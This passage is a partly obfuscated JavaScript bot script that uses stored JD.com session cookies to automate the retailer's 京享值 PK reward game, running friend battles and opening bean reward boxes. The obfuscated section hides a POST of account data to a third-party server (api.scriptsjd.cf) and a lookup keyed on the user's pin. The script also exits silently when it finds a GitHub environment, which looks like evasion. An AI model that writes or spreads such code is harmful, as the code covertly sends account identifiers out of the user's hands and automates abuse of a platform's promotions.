_0x445d95=0x1;if(_0x107bff[_0x39a3('4d','Ek*S')](_0xd4620d)>-0x1){continue;}if(_0x530b53!=null&&_0x2f5518[_0x39a3('4e','MRU^')](_0x530b53['indexOf'](_0xd4620d),-0x1)){_0x445d95=0x1;}else{_0x445d95=0x2;}_0x2f5518['mmzeK'](sleep,0x3e8);console[_0x39a3('4f','MRU^')](_0x2f5518[_0x39a3('50','^E5j')](_0x2f5518['aXmPR'](_0x2f5518['aXmPR'](_0x2f5518['gdtJa'](_0x2f5518[_0x39a3('51','E0xB')],_0xd4620d),_0x39a3('52',']GlQ')),_0x51c801)+_0x2f5518[_0x39a3('53','oFYv')],_0x4b14e6));if(_0x51c801<_0x4b14e6){if(countreceive<_0x3dc059[_0x39a3('54',')hBz')]){console[_0x39a3('55','FWSU')](_0x39a3('56','Doo9'));await _0x2f5518[_0x39a3('57','DiJ0')](_0x11488f,_0x188d65,_0x54afa7['Pin'],_0x54afa7[_0x39a3('58','oFYv')],_0x445d95);if(bcomplate){sleep(0x7d0);await _0x2f5518['mlMpf'](_0x14f081,_0x188d65,_0x54afa7[_0x39a3('28','HY0x')],_0x54afa7['lkToken'],0x1);}}else{break;}}else{continue;}}console[_0x39a3('59','X*t]')](_0x2f5518[_0x39a3('5a','afCd')]);}else{console[_0x39a3('5b','qh5G')](_0x2f5518['NvOeF']);}}else{console[_0x39a3('5c','$($2')](_0x2f5518['rvuHw']);}if(kaixiang){console['log'](_0x2f5518[_0x39a3('5d','X*t]')]);let _0x1a576a=await _0x2f5518['mmzeK'](getBoxRewardInfo,_0x54afa7['Pin']);if(_0x1a576a['awards']){for(let _0x2290f8=0x0;_0x2f5518[_0x39a3('5e','IaX&')](_0x2290f8,_0x1a576a[_0x39a3('5f','$($2')][_0x39a3('60','qh5G')]);_0x2290f8++){let _0x26b9bc=_0x1a576a['awards'][_0x2290f8];if(_0x26b9bc['received']==0x0){if(_0x1a576a[_0x39a3('61','#^f4')]>=_0x26b9bc[_0x39a3('62','qh5G')]){console[_0x39a3('63','059U')](_0x2f5518['gdtJa'](_0x39a3('64','#^f4'),_0x26b9bc[_0x39a3('65',']ot$')][0x0][_0x39a3('66','@da9')]));await sendBoxReward(_0x26b9bc['id'],_0x54afa7['Pin']);}}}}console['log'](_0x2f5518['zfutG']);}}};function _0x6c8870(_0x54ce49,_0x8de5a9,_0xc8e74d,_0x5c807e=0x2){var _0x3ec926={'akvjL':function(_0x42caf9,_0x42f27d){return _0x2f5518[_0x39a3('67','#^f4')](_0x42caf9,_0x42f27d);},'XaKKa':'主动邀请失败:','OxSAo':function(_0x408c3d,_0x45a23d){return _0x2f5518[_0x39a3('68','bQt1')](_0x408c3d,_0x45a23d);},'CUabs':_0x39a3('69','pTdG'),'JVZAd':function(_0x47300f,_0x3b98c5){return _0x47300f+_0x3b98c5;},'nsiRz':function(_0x5d92c6,_0x146771){return _0x2f5518['mmzeK'](_0x5d92c6,_0x146771);},'ljYEF':_0x2f5518['wJOJT']};console[_0x39a3('6a','aq(4')](_0x2f5518['aAnyE']);var _0x2454a8=new Date()[_0x39a3('6b','MKRK')]();let _0x3b97aa=_0x39a3('6c','l]@n')+_0x54ce49+_0x39a3('6d',']ot$')+_0x5c807e+'}';const _0x453769=_0x2f5518[_0x39a3('6e','l]@n')](_0x181a3e,APPID,md5Key,_0x3b97aa,_0x2454a8);const _0x4e6473=_0x39a3('6f','qh5G')+APPID+'&lkEPin='+_0x8de5a9+'&lkToken='+_0xc8e74d+_0x39a3('70','Doo9')+_0x453769+_0x39a3('71','OoMW')+_0x2454a8;const _0x24a299=_0x2f5518[_0x39a3('72',')hBz')](getPostRequest,'launchBattle',_0x4e6473,_0x3b97aa);return new Promise(_0x63f6af=>{$[_0x39a3('73','Doo9')](_0x24a299,(_0x311241,_0x3fcb1b,_0x578cc4)=>{try{if(_0x578cc4){let _0x4569b0=$['toObj'](_0x578cc4);if(_0x4569b0){_0x4569b0=_0x4569b0[_0x39a3('74','jNjD')];if(_0x4569b0[_0x39a3('75','aq(4')]){if(_0x3ec926[_0x39a3('76','(UzM')](_0x4569b0[_0x39a3('77','059U')],0x2)){console[_0x39a3('78','Ek*S')](_0x3ec926[_0x39a3('79','pTdG')]+_0x4569b0['msg']);}}else{if(_0x4569b0[_0x39a3('7a','Pe)U')]){countlaunch++;console[_0x39a3('59','X*t]')](_0x3ec926[_0x39a3('7b','w&dc')](_0x3ec926[_0x39a3('7c','l7#d')],$[_0x39a3('7d','#YBg')](_0x4569b0)));console[_0x39a3('7e',']GlQ')]('当前胜场:'+_0x4569b0[_0x39a3('7f','G$mk')]['fromWinNum']);}else{console[_0x39a3('80','HY0x')](_0x3ec926[_0x39a3('81','T^71')](_0x39a3('82','IaX&'),$['toStr'](_0x4569b0)));}_0x3ec926['nsiRz'](sleep,0x3e8);}}}else{console[_0x39a3('83','Kilg')](_0x3ec926[_0x39a3('84','j8%E')]+_0x578cc4);}}catch(_0x3fb569){console['log'](_0x3fcb1b);}finally{_0x3ec926[_0x39a3('85','#YBg')](_0x63f6af,_0x578cc4);}});});};function _0x11488f(_0x2c6141,_0x7adb27,_0x1cdeea,_0x5c0a24=0x2){var _0x1fb531={'totpY':function(_0x165b52,_0x6bb507){return _0x2f5518[_0x39a3('86','oa#(')](_0x165b52,_0x6bb507);},'xXTjB':_0x2f5518[_0x39a3('87','^xwk')],'rXrzZ':_0x2f5518['ySdjS'],'bbXvv':_0x2f5518[_0x39a3('88','(UzM')],'kiGLp':function(_0x2ca373,_0x16af86){return _0x2ca373(_0x16af86);}};console[_0x39a3('89','jNjD')](_0x2f5518['uFzUZ']);var _0x54cd02=new Date()[_0x39a3('8a','l]@n')]();let _0x57f247=_0x39a3('8b','Ek*S')+_0x2c6141+_0x39a3('8c','(UzM')+_0x5c0a24+'}';const _0x465c5e=_0x181a3e(APPID,md5Key,_0x57f247,_0x54cd02);const _0x40a402='appId='+APPID+_0x39a3('8d','MKRK')+_0x7adb27+_0x39a3('8e','oFYv')+_0x1cdeea+_0x39a3('8f','oa#(')+_0x465c5e+'&t='+_0x54cd02;const _0x5aa5c2=_0x2f5518[_0x39a3('90','R9Wo')](getPostRequest,_0x2f5518[_0x39a3('91','Mj7H')],_0x40a402,_0x57f247);return new Promise(_0x4206cb=>{$[_0x39a3('92','OoMW')](_0x5aa5c2,(_0x274b24,_0x2312a6,_0x22a7b4)=>{try{if(_0x22a7b4){let _0x41b607=$[_0x39a3('93','@da9')](_0x22a7b4);if(_0x41b607){_0x41b607=_0x41b607[_0x39a3('94','#YBg')];if(_0x41b607[_0x39a3('95','Kilg')]){if(_0x41b607[_0x39a3('96','IaX&')]>0x2){console['log'](_0x1fb531[_0x39a3('97','$($2')](_0x1fb531['xXTjB'],_0x41b607['msg']));bcomplate=![];}}else{if(_0x41b607[_0x39a3('98','MRU^')]){countreceive++;console[_0x39a3('99','I2]9')](_0x1fb531[_0x39a3('9a','Pe)U')]('被动邀请成功返回结果:',$[_0x39a3('9b','wTes')](_0x41b607)));}else{bcomplate=!![];console[_0x39a3('9c','MKRK')](_0x1fb531['rXrzZ']+$['toStr'](_0x41b607));}}}}else{bcomplate=![];console[_0x39a3('5b','qh5G')](_0x1fb531['bbXvv']+_0x22a7b4);}}catch(_0x543cec){console[_0x39a3('55','FWSU')](_0x2312a6);}finally{_0x1fb531[_0x39a3('9d','pTdG')](_0x4206cb,_0x22a7b4);}});});};function _0x14f081(_0x3f000c,_0x2ca01f,_0x4d1bc0,_0x5cfc98){var _0xa254e7={'CvrmI':_0x2f5518['RRrUc'],'MZmil':function(_0x52cd54,_0x15a921){return _0x2f5518[_0x39a3('9e',']ot$')](_0x52cd54,_0x15a921);},'VudCa':function(_0x8ac35,_0x10a395){return _0x2f5518[_0x39a3('9f','#YBg')](_0x8ac35,_0x10a395);},'Rauit':function(_0x893cfb,_0x3cfc9e,_0x1f8e3f,_0x2d2661,_0xe73bb4){return _0x893cfb(_0x3cfc9e,_0x1f8e3f,_0x2d2661,_0xe73bb4);},'nessh':function(_0x5af046,_0x5cb133,_0x2cca8c,_0x418e9c){return _0x2f5518['iBhLx'](_0x5af046,_0x5cb133,_0x2cca8c,_0x418e9c);},'ovJmP':_0x2f5518['gdWIZ']};console[_0x39a3('a0','pTdG')](_0x2f5518['VtgHW']);return new Promise(_0x1259c0=>{var _0x5603de=new Date()[_0x39a3('a1','jNjD')]();let _0x3d3cfa='{\x22actId\x22:9,\x22randomStr\x22:\x22'+_0x3f000c+'\x22}';const _0x24d8b5=_0xa254e7['Rauit'](_0x181a3e,APPID,md5Key,_0x3d3cfa,_0x5603de);const _0x5dbe78='appId='+APPID+'&lkEPin='+_0x2ca01f+_0x39a3('a2','l7#d')+_0x4d1bc0+_0x39a3('a3','MRU^')+_0x24d8b5+_0x39a3('a4','8D9N')+_0x5603de;const _0x1ca1cc=_0xa254e7[_0x39a3('a5','TV^U')](getPostRequest,_0xa254e7[_0x39a3('a6','wTes')],_0x5dbe78,_0x3d3cfa);$['post'](_0x1ca1cc,(_0x58338a,_0x2e609f,_0x58f180)=>{try{if(_0x58f180){let _0xf5c303=$[_0x39a3('a7','j8%E')](_0x58f180);if(_0xf5c303){_0xf5c303=_0xf5c303[_0x39a3('74','jNjD')];if(_0xf5c303[_0x39a3('a8','T^71')]==0x1){if(_0xf5c303[_0x39a3('a9','HY0x')]){if(_0x5cfc98==0x0){console[_0x39a3('aa','w&dc')](_0xa254e7[_0x39a3('ab','Pe)U')]+_0xf5c303[_0x39a3('ac','#YBg')][_0x39a3('ad','(UzM')]);}else{console[_0x39a3('ae','Mj7H')](_0xa254e7[_0x39a3('af','oa#(')](_0xa254e7[_0x39a3('b0','MKRK')],_0xf5c303[_0x39a3('b1','pTdG')]['toWinNum']));}}countreceive++;}else{console['log'](_0x39a3('b2','OoMW')+$[_0x39a3('b3',')hBz')](_0xf5c303));}}}}catch(_0x562034){console[_0x39a3('18',']ot$')]('PK结果出错'+$[_0x39a3('b4','(UzM')](_0x2e609f));}finally{_0xa254e7[_0x39a3('b5','E0xB')](_0x1259c0,_0x58f180);}});});}function _0x181a3e(_0x227ca4,_0x46d967,_0x4e2bc0,_0xc7db39,_0xb061f1=0x0){let _0x5ab28b;if(_0x2f5518[_0x39a3('b6','k)5l')](_0xb061f1,0x0)){_0x5ab28b=_0x227ca4+'_'+_0x46d967+'_'+_0x4e2bc0+'_'+_0xc7db39;}else{_0x5ab28b=_0x227ca4+'_'+_0x46d967+'__'+_0xc7db39;}return $[_0x39a3('b7','IaX&')](_0x5ab28b);}function _0x55e179(_0x43d803,_0x3a7ff4){var _0x573137={'ctJyq':function(_0x49059d,_0x54311e){return _0x2f5518[_0x39a3('b8','Mj7H')](_0x49059d,_0x54311e);},'jQtLO':_0x2f5518['cplTp'],'OhSRP':function(_0x102964,_0x1f3037){return _0x2f5518[_0x39a3('b9','^E5j')](_0x102964,_0x1f3037);}};return new Promise(_0x5364b9=>{var _0x188905=new Date()['getTime']();const _0x17f4dc=_0x181a3e(APPID,md5Key,'',_0x188905,0x1);const _0x456fb9=_0x39a3('ba','H[b^')+_0x3a7ff4+_0x39a3('bb','e8GA')+APPID+_0x39a3('bc','Ek*S')+_0x43d803+'&sign='+_0x17f4dc+_0x39a3('bd','Doo9')+_0x188905;const _0x316283=_0x2f5518['iBhLx'](getGetRequest,_0x2f5518[_0x39a3('be','059U')],_0x456fb9,0x0);$[_0x39a3('bf','G$mk')](_0x316283,(_0x5b13b8,_0x1b6637,_0x5903e0)=>{let _0x5dc527;try{if(_0x5903e0){_0x5dc527=$[_0x39a3('c0','I2]9')](_0x5903e0);_0x5dc527=_0x5dc527['data'];if(_0x5dc527){console['log'](_0x573137[_0x39a3('c1','T^71')](_0x573137[_0x39a3('c2','$($2')],_0x5dc527));_0x5364b9(_0x5dc527);}}}catch(_0x380c44){console[_0x39a3('c3','T6b#')](_0x1b6637);}finally{_0x573137[_0x39a3('c4','@da9')](_0x5364b9,_0x5dc527);}});});}function _0x4c239d(_0x54e071,_0x1d967a){const _0x4b0b75='actId=9&appId='+_0x54e071+'&lkEPin='+_0x1d967a;const _0x4892fd=getGetRequest(_0x2f5518[_0x39a3('c5','DiJ0')],_0x4b0b75);return new Promise(_0x216432=>{var _0x55a3f4={'FiWfN':function(_0x3e2afc,_0x5651c9){return _0x2f5518[_0x39a3('c6','IaX&')](_0x3e2afc,_0x5651c9);}};$[_0x39a3('c7','E0xB')](_0x4892fd,(_0x584bac,_0x5aac30,_0x36cd44)=>{let _0x4e8b5a=0x0;try{if(_0x36cd44){let _0x1af945=$[_0x39a3('c8','MRU^')](_0x36cd44);if(_0x1af945){_0x4e8b5a=_0x1af945[_0x39a3('c9','E0xB')];}}}catch(_0x4e75c4){console[_0x39a3('45',']YGL')](_0x5aac30);}finally{_0x55a3f4[_0x39a3('ca','bQt1')](_0x216432,_0x4e8b5a);}});});}function _0x227570(_0x5b2705,_0x376656){var _0x325ee1={'skRXP':function(_0x99de80,_0x50974){return _0x2f5518[_0x39a3('cb','#YBg')](_0x99de80,_0x50974);}};const _0x5add96=_0x39a3('cc','w&dc')+_0x5b2705+_0x39a3('8d','MKRK')+_0x376656;const _0x3200cb=getGetRequest(_0x2f5518[_0x39a3('cd','#^f4')],_0x5add96);return new Promise(_0x24409c=>{$[_0x39a3('ce','HY0x')](_0x3200cb,(_0x2f9655,_0x2b4ed6,_0x3e34d3)=>{let _0x9df2f6=0x0;try{if(_0x3e34d3){let _0x463831=$[_0x39a3('cf','h&F*')](_0x3e34d3);if(_0x463831){_0x9df2f6=_0x463831[_0x39a3('d0','059U')];}}}catch(_0x35c096){console[_0x39a3('5b','qh5G')](_0x2b4ed6);}finally{_0x325ee1[_0x39a3('d1','FWSU')](_0x24409c,_0x9df2f6);}});});}function _0x2b5121(_0x1194b2){const _0x120a1d='https://api.scriptsjd.cf/api/JoyScore/Update';const _0x1a4a4f='POST';const _0x3960a6={'Host':_0x2f5518[_0x39a3('d2','Pe)U')],'Content-Type':_0x2f5518['rTbKL'],'Connection':_0x2f5518[_0x39a3('d3','T6b#')],'Accept':_0x2f5518['pESnJ'],'User-Agent':_0x2f5518[_0x39a3('d4',']GlQ')],'Accept-Language':_0x39a3('d5','afCd')};let _0x5eb6a9={'url':_0x120a1d,'method':_0x1a4a4f,'headers':_0x3960a6,'body':$[_0x39a3('d6','$($2')](_0x1194b2)};return new Promise(_0x1fe687=>{var _0x1b1c72={'lWNwU':function(_0x4ef49a,_0x3cdb0e){return _0x4ef49a(_0x3cdb0e);}};$[_0x39a3('d7','G$mk')](_0x5eb6a9,(_0x2fbb08,_0x132856,_0x19df50)=>{try{if(_0x19df50){console[_0x39a3('80','HY0x')](_0x39a3('d8','T6b#')+_0x19df50);}}catch(_0x57caad){console[_0x39a3('89','jNjD')](_0x57caad);}finally{_0x1b1c72[_0x39a3('d9',')hBz')](_0x1fe687,_0x19df50);}});});};function _0x359b84(_0x3de791){return new Promise(_0x193be3=>{var _0xea96fb={'EWTOY':function(_0x1cdaf7,_0x303565){return _0x2f5518['zexzq'](_0x1cdaf7,_0x303565);}};let _0x198908=_0x2f5518[_0x39a3('da','059U')](_0x2f5518[_0x39a3('db','bQt1')](_0x2f5518[_0x39a3('dc','OoMW')],'ptpin='),_0x3de791);let _0x450804={'url':_0x198908,'headers':{'Host':_0x2f5518[_0x39a3('dd','OoMW')],'Connection':_0x2f5518['mziLz'],'Accept':_0x2f5518['pESnJ'],'User-Agent':_0x39a3('de','T^71'),'Accept-Language':_0x2f5518[_0x39a3('df','MRU^')]}};$[_0x39a3('e0','oFYv')](_0x450804,(_0x18e340,_0xedda58,_0x5f15da)=>{try{if(_0x5f15da){_0xea96fb['EWTOY'](_0x193be3,_0x5f15da);}}catch(_0x10c65b){console[_0x39a3('45',']YGL')](_0x10c65b);}finally{_0xea96fb[_0x39a3('e1','OoMW')](_0x193be3,_0x5f15da);}});});}function _0x260e12(_0x405714,_0x2666cf,_0x186bcd){var _0x8a98d7={'mLgty':function(_0x2d6370,_0x423376){return _0x2d6370(_0x423376);},'Hhfez':function(_0x456742,_0x4c33f2){return _0x2f5518['bsuvi'](_0x456742,_0x4c33f2);},'ydPhG':function(_0x12f0ba,_0x339798){return _0x12f0ba+_0x339798;},'TfzPQ':function(_0x131c82,_0x38e7c5){return _0x2f5518['lHTMk'](_0x131c82,_0x38e7c5);},'CvFUo':_0x2f5518[_0x39a3('e2','^xwk')],'WNuJc':_0x2f5518[_0x39a3('e3','e8GA')],'MgVzj':_0x2f5518[_0x39a3('e4','I2]9')],'UySCF':_0x39a3('e5','pTdG'),'YjDZD':_0x2f5518[_0x39a3('e6','X*t]')],'OesYE':_0x2f5518[_0x39a3('e7','qh5G')],'bqpNc':_0x2f5518[_0x39a3('e8','@da9')]};return new Promise(_0x5c12ff=>{let _0x561417=_0x8a98d7['ydPhG'](_0x8a98d7[_0x39a3('e9','e8GA')](_0x8a98d7[_0x39a3('ea','MRU^')]+_0x405714+_0x8a98d7[_0x39a3('eb','#YBg')]+_0x2666cf,_0x8a98d7[_0x39a3('ec','w&dc')]),_0x186bcd);let _0x2f4449={'url':_0x561417,'headers':{'Host':_0x8a98d7['UySCF'],'Connection':_0x8a98d7[_0x39a3('ed','oFYv')],'Accept':_0x8a98d7[_0x39a3('ee','afCd')],'User-Agent':_0x8a98d7[_0x39a3('ef','T6b#')],'Accept-Language':_0x39a3('f0','IaX&')}};$[_0x39a3('f1','@da9')](_0x2f4449,(_0x13b47d,_0x36c28d,_0x11aa60)=>{try{if(_0x11aa60){let _0x1ccc21=$[_0x39a3('f2','$($2')](_0x11aa60);_0x8a98d7[_0x39a3('f3','j8%E')](_0x5c12ff,_0x1ccc21);}}catch(_0xe3b4f2){console['log'](_0xe3b4f2);}finally{_0x8a98d7[_0x39a3('f4','$($2')](_0x5c12ff,_0x11aa60);}});});}_0x1d4d09[_0x39a3('f5','(UzM')]=_0x5c144e;}($);;_0xodV='jsjiami.com.v6'; - -!(async () => { - - if (!cookiesArr[0]) { - $.msg( - $.name, - "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", - "https://bean.m.jd.com/", { - "open-url": "https://bean.m.jd.com/" - } - ); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent( - cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] - ); - $.index = i + 1; - message = ""; - console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - //await $.updatefriend(); - await $.main(); - } - } -})() - .catch((e) => { - $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); - }) - .finally(() => { - $.done(); - }) - - -//已改 - - -//获取京享值分数 -function getScore(fpin) { - const mquery = `actId=9&appId=${APPID}&lkEPin=${fpin}`; - const myRequest = getGetRequest('getScore', mquery); - return new Promise((resolve) => { - $.get(myRequest, (err, resp, res) => { - let score = 0; - try { - if (res) { - let data = $.toObj(res); - if (data) { - score = data.data; - } - } - } catch (e) { - console.log(resp); - } finally { - // console.log("查询"+fpin+"分数 " + score ); - resolve(score); - } - }); - }); -} - - - -//获取用户PK余量信息 -function getUserPkInfo(pin) { - const mquery = `actId=9&appId=${APPID}&lkEPin=${pin}`; - const myRequest = getGetRequest('getUserPkInfo', mquery); - return new Promise((resolve) => { - $.get(myRequest, (err, resp, res) => { - - try { - if (res) { - let data = $.toObj(res); - data = data.data; - if (data) { - console.log(`${data.nickName}今天剩余主动邀请PK次数:${data.leftLunchPkNum} 被动邀请PK次数:${data.leftAcceptPkNum}`); - resolve(data); - } - } - } catch (e) { - console.log("getUserPkInfo出错:" + resp); - } finally { - resolve(); - } - }); - }); -} -async function getFriendPinList(pin) { - console.log("开始获取所有好友可以使用Pk列表中……"); - let allFriends = []; - for (let i = 0; i < 100; i++) { - let friends = await getUserFriendsPage(pin, i + 1); - if (friends.length === 0) { - console.log("好友列表到底了,共获取" + i + "页好友!!") - break; - } - //console.log(`第${i+1}页`); - for (let j = 0; j < friends.length; j++) { - let item = friends[j]; - - if (item.pkStatus == 2) { - if (item.leftAcceptPkNum > 0 && item.leftLunchPkNum > 0) { - allFriends.push(item.friendPin); - } - } - } - } - return allFriends; -} - -//获取好友PK列表 -function getUserFriendsPage(pin, pageNo) { - //?actId=9&pageNo=2&pageSize=10&appId=dafbe42d5bff9d82298e5230eb8c3f79&lkEPin=13f5ef448152243c1e8c7a33f3b76dd20f296a206a12473f57d63d95f3be0534 - const mquery = `actId=9&pageNo=${pageNo}&pageSize=10&appId=${APPID}&lkEPin=${pin}` - const myRequest = getGetRequest('getUserFriendsPage', mquery); - return new Promise((resolve) => { - $.get(myRequest, (err, resp, res) => { - let data; - try { - if (res) { - data = $.toObj(res); - data = data.datas; - if (data) { - resolve(data); - //console.log("获取好友PK列表第" + pageNo + "页"); - } - } - } catch (e) { - console.log(resp); - } finally { - - resolve(data); - } - }); - }); -} - - -//已改 -function getBoxRewardInfo(mypin) { - return new Promise((resolve) => { - const mquery = `actId=9&appId=${APPID}&lkEPin=${mypin}`; - const myRequest = getGetRequest('getBoxRewardInfo', mquery); - $.get(myRequest, (err, resp, res) => { - try { - - if (res) { - let data = $.toObj(res); - if (data.success) { - // $.awards = data.data.awards; - //console.log($.toStr($.awards)); - // $.totalWins=data.data.totalWins; - console.log("总胜场:" + data.data.totalWins); - resolve(data.data); - } - - } - } catch (e) { - console.log(resp); - } finally { - resolve(res); - } - }); - }); -} - -//已修复 -function sendBoxReward(rewardConfigId, mypin) { - return new Promise((resolve) => { - console.log("进行开宝箱") - const mquery = `rewardConfigId=${rewardConfigId}&actId=9&appId=${APPID}&lkEPin=${mypin}` - const myRequest = getGetRequest('sendBoxReward', mquery); - $.get(myRequest, (err, resp, res) => { - try { - console.log(res); - if (res) { - let data = $.toObj(res); - if (data.success) { - for (let j = 0; j < data.datas.length; j++) { - console.log('获得奖励类型:' + data.datas[j].type + "京豆数量:" + data.datas[j].beanNum); - } - - } - - } - } catch (e) { - console.log(resp); - } finally { - resolve(res); - } - }); - }); -} - -async function getPin() { - return new Promise((resolve) => { - let options = { - "url": `https://jdjoy.jd.com/saas/framework/encrypt/pin?appId=${APPID}`, - "headers": { - "Host": "jdjoy.jd.com", - "Origin": "https://prodev.m.jd.com", - "Cookie": cookie, - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "User-Agent": "jdapp;iPhone;9.5.4;13.6;db48e750b34fe9cd5254d970a409af316d8b5cf3;network/wifi;ADID/38EE562E-B8B2-7B58-DFF3-D5A3CED0683A;model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Accept-Language": "zh-cn", - "Referer": "https://prodev.m.jd.com/" - } - }; - - $.post(options, (err, resp, res) => { - try { - - // console.log(res); - if (res) { - let data = $.toObj(res); - if (data) { - let minfo = { Pin: data.data.lkEPin, lkToken: data.data.lkToken }; - resolve(minfo); - // $.pin = data.data.lkEPin - // $.lkToken=data.data.lkToken - } - } - } catch (e) { - console.log(e); - } finally { - resolve(); - } - }); - }); -}; - -function getToken() { - return new Promise((resolve) => { - let options = { - "url": `https://jdjoy.jd.com/saas/framework/user/token?appId=${APPID}&client=m&url=pengyougou.m.jd.com`, - "headers": { - "Host": "jdjoy.jd.com", - "Origin": "https://prodev.m.jd.com", - "Cookie": cookie, - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "User-Agent": "jdapp;iPhone;9.5.4;13.6;db48e750b34fe9cd5254d970a409af316d8b5cf3;network/wifi;ADID/38EE562E-B8B2-7B58-DFF3-D5A3CED0683A;model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Accept-Language": "zh-cn", - "Referer": "https://prodev.m.jd.com/" - } - }; - $.post(options, (err, resp, res) => { - let token; - //console.log(JSON.stringify(res)) - try { - if (res) { - let data = $.toObj(res); - if (data) { - token = data.data; - } - - } - } catch (e) { - console.log(e); - } finally { - resolve(token); - } - }); - }); -}; -function getGetRequest(type, query, checktype = 1) { - let url; - if (checktype == 0) { - url = `https://pengyougou.m.jd.com/open/api/like/jxz/${type}?${query}`; - } else { - url = `https://pengyougou.m.jd.com/like/jxz/${type}?${query}`; - } - - const method = `GET`; - const headers = { - 'Accept': `*/*`, - "Origin": `https://game-cdn.moxigame.cn`, - 'Sec-Fetch-Site': `cross-site`, - 'Sec-Fetch-Mode': `cors`, - 'Sec-Fetch-Dest': `empty`, - 'Connection': `keep-alive`, - 'Content-Type': `application/x-www-form-urlencoded`, - 'Referer': `https://game-cdn.moxigame.cn/`, - 'Accept-Encoding': `gzip, deflate, br`, - 'Host': `pengyougou.m.jd.com`, - "User-Agent": "jdapp;iPhone;9.5.4;13.6;db48e750b34fe9cd5254d970a409af316d8b5cf3;network/wifi;ADID/38EE562E-B8B2-7B58-DFF3-D5A3CED0683A;model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - 'Accept-Language': `zh-cn` - }; - //console.log(url) - return { url: url, method: method, headers: headers }; -}; - -function getPostRequest(type, query, body) { - const url = `https://pengyougou.m.jd.com/open/api/like/jxz/${type}?${query}`; - const method = `POST`; - const headers = { - 'Accept': `*/*`, - 'Origin': `https://game-cdn.moxigame.cn`, - 'Sec-Fetch-Site': `cross-site`, - 'Sec-Fetch-Mode': `cors`, - 'Sec-Fetch-Dest': `empty`, - 'Accept-Encoding': `gzip, deflate, br`, - 'Content-Type': `application/json;charset=UTF-8`, - 'Host': `pengyougou.m.jd.com`, - 'Connection': `keep-alive`, - "User-Agent": "jdapp;iPhone;9.5.4;13.6;db48e750b34fe9cd5254d970a409af316d8b5cf3;network/wifi;ADID/38EE562E-B8B2-7B58-DFF3-D5A3CED0683A;model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - 'Referer': `https://game-cdn.moxigame.cn/`, - 'Accept-Language': `zh-cn` - }; - //console.log(url) - return myRequest = { url: url, method: method, headers: headers, body: body }; -}; - - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); - return []; - } - } -}; - -function sleep(timeout) { - return new Promise((resolve) => setTimeout(resolve, timeout)); -}; - - - -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = 